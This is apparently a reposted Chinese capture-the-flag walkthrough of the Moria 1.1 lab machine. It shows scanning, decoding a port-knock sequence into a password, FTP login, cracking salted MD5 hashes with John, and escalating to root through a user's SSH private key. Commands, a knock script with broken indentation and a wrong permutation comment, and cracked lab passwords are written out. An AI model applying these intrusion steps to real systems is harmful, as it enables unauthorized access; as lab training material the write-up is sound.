打靶日记 Moria1.1

admin 2025年5月12日08:49:44打靶日记 Moria1.1已关闭评论3 views字数 8189阅读27分17秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 Moria1.1
nmap -sS -sV -T5 -p- 192.168.10.27 -A
打靶日记 Moria1.1

二、进行目录枚举

dirb http://192.168.10.27

扫除一个w目录

打靶日记 Moria1.1
dirsearch -u http://192.168.10.27
打靶日记 Moria1.1

三、进入网页

打靶日记 Moria1.1
Eere is written in the Feänorian characters according to the mode of Beleriand: Ennyn Durin Aran
Moria: pedo mellon a minno. Im Marvi hain ech-ant: Celebrimboro Cregion teithant ithiwhin

门上用贝烈瑞安文字写着:都林之门,摩瑞亚之王。请进,朋友,多多益善。我是马尔维,这些字是凯勒布理鹏所写。

进入w目录

打靶日记 Moria1.1
http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/

在这个the_abyss目录来回可以看到不同的信息

打靶日记 Moria1.1

其中的一些片段

打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1
打靶日记 Moria1.1

whisper the_abyss

whisper”是耳语的意思,“the abyss”是深渊

dirsearch -u http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/

四、再次枚举

dirb http://192.168.10.27/w/h/i/s/p/e/r/the_abyss/  -X .txt .img .html .php

发现一个random.txt

打靶日记 Moria1.1

还是上面的这些话,前面的ftp无法匿名登录,这里的knock很容易想到端口敲门

打靶日记 Moria1.1

使用Wireshark进行抓包,刷新random.txt

打靶日记 Moria1.1

根据 TCP 协议规则,当服务器收到客户端发送的 SYN 包(用于尝试建立连接),但目标端口未开放时,会回复 RST, ACK 报文,明确拒绝连接请求。这是 TCP 协议中 “端口未开放时拒绝连接” 的标准行为

RST 标志位表示 “连接重置”,用于立即终止无效或错误的连接尝试。在端口敲⻔场景中,服务器不需要与这些端口建立真实连接,仅需通过回复 RST, ACK 告知客户端连接失败,同时后台记录端口被访问的顺序。

端口敲⻔的关键是按顺序记录端口连接尝试,而非真正建立连接。即使服务器回复 RST, ACK,客户端仍会按预设顺序继续尝试下一个端口。服务器后台通过监控这些 SYN 请求(即使伴随 RST 回复)的顺序,验证客户端是否知晓正确的 “敲⻔序列”,从而实现安全验证。

可以看到是从77,101,108,111,110,54,57顺序敲击端口

这里可以直接使用knock工具,或者直接一个一个nc,但是有一些情况不知道端口敲门的顺序就可以使用这个脚本

knock -v 192.168.10.27 77 101 108 108 111 110 54 57
nmap -sS -sV -T5 -p- 192.168.10.27 -A

脚本

import itertools
import socket
import time

ports = [77,101,108,108,111,110,54,57]
target_check_port = 22  # 假设敲门成功后开启的端口
target_ip = "192.168.10.27"

def knock(sequence):
for port in sequence:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((target_ip, port))
            s.close()
        except:
            pass
    time.sleep(1)  # 等待服务响应
# 检测目标端口是否开放
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((target_ip, target_check_port))
        s.close()
print(f"[+] Success! Sequence: {sequence}")
return True
    except:
print(f"[-] Failed: {sequence}")
return False

# 生成所有排列组合(3! = 6 种)
for sequence in itertools.permutations(ports):
if knock(sequence):
break

但是这里并不是端口敲门,没有开放的端口

打靶日记 Moria1.1

看了一下别的师傅写的wp,这和2025ISCC里的一道校赛Misc题相框里的图片有异曲同工的地方,

Misc的是直接得到图片在属性里找到解压密码,获得

 生大 乐后 片旗 片为 生一 土工 没马 呀画 兄刀 乐不 众太 功南 牛群 不老 正丁 为里 地巧 兄贝 贝衣 羊乙 那众 功一 个数 工群

将字转为笔画数

5 3 5 6 4 14 4 4 5 1 3 3 7 3 7 8 5 2 5 4 6 4 5 9 4 13 4 6 5 2 4 7 6 5 5 4 4 6 6 1 6 6 5 1 3 13 3 13

每两个字的笔画数转化为16进制

53 56 4e 44 51 33 73 78 52 54 64 59 4d 46 52 47 65 54 46 61 66 51 3d 3d

再转ASCALL码

SVNDQ3sxRTdYMFRGeTFafQ==
再base64解码
ISCC{1E7X0TFy1Z}

而在这台靶机上这个端口的顺序并不是端口敲门

77 101 108 108 111 110 54 57

77 → M
101 → e
108 → l
108 → l
111 → o
110 → n
54 → 6
57 → 9
得到Mellon69

而在进入网页的那张图片上有这样一句话

Moria: pedo mellon a minno. 
莫瑞亚:朋友,我给你开门。
“Moria: pedo mellon a minno.” 是辛达语,出自《指环王》中都林之门(墨瑞亚西门)的设定。这句话的含义为 “墨瑞亚:我,纳维,造了此门” 。

“Moria”:指墨瑞亚(Moria),即矮人城市卡扎督姆(Khazad-dûm),是都林一族矮人居住的地下王国。
“pedo”:意为 “我造了”;
“mellon” 在辛达语中常规含义是 “朋友”,但在此句中结合语境,与矮人工匠 纳维(Narvi) 相关(可能是语言表述或翻译细节处理);
“a minno”:意为 “此门”。

这句话与都林之门的背景相关 —— 这扇门由矮人纳维和精灵凯勒布林博共同打造,此句表明了纳维对门的建造贡献。在《指环王》的情节中,都林之门需要通过特定口令(如 “Mellon”,意为 “朋友”)开启,而这句辛达语则是对门的建造者信息的陈述。

五、FTP登录

可以看到这里有提示Welcome Balrog

┌──(yzy㉿kali)-[~/Desktop]
└─$ ftp 192.168.10.27
Connected to 192.168.10.27.
220 Welcome Balrog!
Name (192.168.10.27:yzy): Balrog
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||62208|).
150 Here comes the directory listing.
drwxr-x---    2 0        1001           27 Mar 14  2017 .
dr-xr-xr-x   18 0        0             258 Mar 14  2017 ..
-rw-r--r--    1 0        0               1 Apr 28  2017 .bash_history
226 Directory send OK.
ftp> pwd
Remote directory: /prison
ftp> cd ..
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||14322|).
150 Here comes the directory listing.
lrwxrwxrwx    1 0        0               7 Mar 11  2017 bin -> usr/bin
dr-xr-xr-x    4 0        0            4096 Mar 11  2017 boot
drwxr-xr-x   20 0        0            3160 May 09 20:15 dev
drwxr-xr-x   97 0        0            8192 May 11 09:30 etc
drwxr-x---    4 0        1003           32 Mar 14  2017 home
lrwxrwxrwx    1 0        0               7 Mar 11  2017 lib -> usr/lib
lrwxrwxrwx    1 0        0               9 Mar 11  2017 lib64 -> usr/lib64
drwxr-xr-x    2 0        0               6 Nov 05  2016 media
drwxr-xr-x    2 0        0               6 Nov 05  2016 mnt
drwxr-xr-x    2 0        0               6 Nov 05  2016 opt
drwxr-x---    2 0        1001           27 Mar 14  2017 prison
dr-xr-xr-x  112 0        0               0 May 09 20:15 proc
dr-xr-x---    8 0        0             276 Mar 13  2017 root
drwxr-xr-x   26 0        0             760 May 11 09:30 run
lrwxrwxrwx    1 0        0               8 Mar 11  2017 sbin -> usr/sbin
drwxr-xr-x    2 0        0               6 Nov 05  2016 srv
dr-xr-xr-x   13 0        0               0 May 09 20:15 sys
drwxrwxrwt    9 0        0             250 May 11 10:27 tmp
drwxr-xr-x   13 0        0             155 Mar 11  2017 usr
drwxr-xr-x   21 0        0            4096 May 09 20:15 var
226 Directory send OK.
ftp> cd var
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||39013|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0               6 Nov 05  2016 adm
drwxr-xr-x    9 0        0             100 Nov 05  2016 cache
drwxr-xr-x    2 0        0               6 Nov 07  2016 crash
drwxr-xr-x    3 0        0              34 Mar 11  2017 db
drwxr-xr-x    3 0        0              18 Nov 05  2016 empty
drwxr-xr-x    3 0        0              17 Nov 05  2016 ftp
drwxr-xr-x    2 0        0               6 Nov 05  2016 games
drwxr-xr-x    2 0        0               6 Nov 05  2016 gopher
drwxr-xr-x    3 0        0              18 Dec 06  2016 kerberos
drwxr-xr-x   39 0        0            4096 May 09 20:15 lib
drwxr-xr-x    2 0        0               6 Nov 05  2016 local
lrwxrwxrwx    1 0        0              11 Mar 10  2017 lock -> ../run/lock
drwxr-xr-x   11 0        0            4096 May 11 09:39 log
lrwxrwxrwx    1 0        0              10 Mar 11  2017 mail -> spool/mail
drwxr-xr-x    2 0        0               6 Nov 05  2016 nis
drwxr-xr-x    2 0        0               6 Nov 05  2016 opt
drwxr-xr-x    2 0        0               6 Nov 05  2016 preserve
lrwxrwxrwx    1 0        0               6 Mar 10  2017 run -> ../run
drwxr-xr-x    8 0        0              87 Nov 05  2016 spool
drwxrwxrwt    4 0        0             163 May 09 12:15 tmp
drwxr-xr-x    4 0        0              33 Nov 14  2016 www
drwxr-xr-x    2 0        0               6 Nov 05  2016 yp
226 Directory send OK.
ftp> cd www
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||8635|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0               6 Nov 14  2016 cgi-bin
drwxr-xr-x    4 0        0              89 Mar 14  2017 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||39483|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        0              23 Mar 12  2017 QlVraKW4fbIkXau9zkAPNGzviT3UKntl
-r--------    1 48       48             85 Mar 12  2017 index.php
-r--------    1 48       48         161595 Mar 11  2017 moria.jpg
drwxr-xr-x    3 0        0              15 Mar 12  2017 w
226 Directory send OK.
打靶日记 Moria1.1

一看就是md5,但是还是测一下

hash-identifier
打靶日记 Moria1.1

查看网页源代码发现有盐值

打靶日记 Moria1.1

md5(md5($p).$s)(即两次 MD5 哈希并包含盐值)

c2d8960157fc8540f6d5d66594e165e0$6MAp84
727a279d913fba677c490102b135e51e$bQkChe
8c3c3152a5c64ffb683d78efc3520114$HnqeN4
6ba94d6322f53f30aca4f34960203703$e5ad5s
c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP
6a113db1fd25c5501ec3a5936d817c29$cC5nTr
7db5040c351237e8332bfbba757a1019$h8spZR
dd272382909a4f51163c77da6356cc6f$tb9AWe

哈希是动态格式(dynamic_6)

john -form=dynamic_6 pass.txt 
打靶日记 Moria1.1

得到密码

Balin:flower
Oin:rainbow
Ori:spanky
Maeglin:fuckoff
Fundin:hunter2
Nain:warrior
Dain:abcdef
Thrain:darkness
Telchar:magic

发现只有这一个可以登录

Ori:spanky

试多了就会发现22端口关闭了。。。。。。没快照

打靶日记 Moria1.1

六、提权(ssh本地私钥提权)

python -c "import pty; pty.spawn('/bin/bash');"

在Ori用户下进入Ori目录发现有一首诗

┌──(yzy㉿kali)-[~/Desktop]
└─$ ssh [email protected]
The authenticity of host '192.168.10.28 (192.168.10.28)' can't be established.
ED25519 key fingerprint is SHA256:DS0S3vuDtg8fXxM4SuO7swJktN5DRaID2PhoSxZKb90.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:21: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '
192.168.10.28' (ED25519) to the list of known hosts.
[email protected]'
s password: 
Last login: Sun Mar 12 22:57:09 2017
-bash-4.2$ python -c "import pty; pty.spawn('/bin/bash');"
bash-4.2$ ls
poem.txt
bash-4.2$ cd ..
bash-4.2$ ls
abatchy  Ori
bash-4.2$ cd Ori
bash-4.2$ ls -la
总用量 8
drwx------  3 Ori  notBalrog  55 3月  12 2017 .
drwxr-x---. 4 root notBalrog  32 3月  14 2017 ..
-rw-------  1 Ori  notBalrog   1 3月  14 2017 .bash_history
-rw-r--r--  1 root root      225 3月  13 2017 poem.txt
drwx------  2 Ori  notBalrog  57 3月  12 2017 .ssh
bash-4.2$ cat poem.txt
Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by. 

PS: Moria will not fall!

诗的内容是

Ho! Ho! Ho! to the bottle I go
To heal my heart and drown my woe.
Rain may fall and wind may blow,
And many miles be still to go,
But under a tall tree I will lie,
And let the clouds go sailing by. 

PS: Moria will not fall!
嗬!嗬!嗬!我且向酒瓶投奔,
治愈心伤,淹没伤悲。
风雨或许会飘摇,
前路漫漫仍有万里遥,
我自躺于高树下,
任那流云自逍遥。

附言:墨瑞亚永不陷落!

尝试sudo提权失败,这个Ori用户不能使用sudo

打靶日记 Moria1.1

在Ori目录下还看到.ssh,尝试私钥提权

bash-4.2$ ls
id_rsa  id_rsa.pub  known_hosts
bash-4.2$ cat known_hosts
127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCuLX/CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJslOh4vE+I6fmMwCdBfi4W061RmFc+vMALlQUYNz0=

这里是127.0.0.1,猜测是root,尝试登录

ssh [email protected] -i id_rsa

提权成功

打靶日记 Moria1.1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日08:49:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Moria1.1https://cn-sec.com/archives/4052597.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.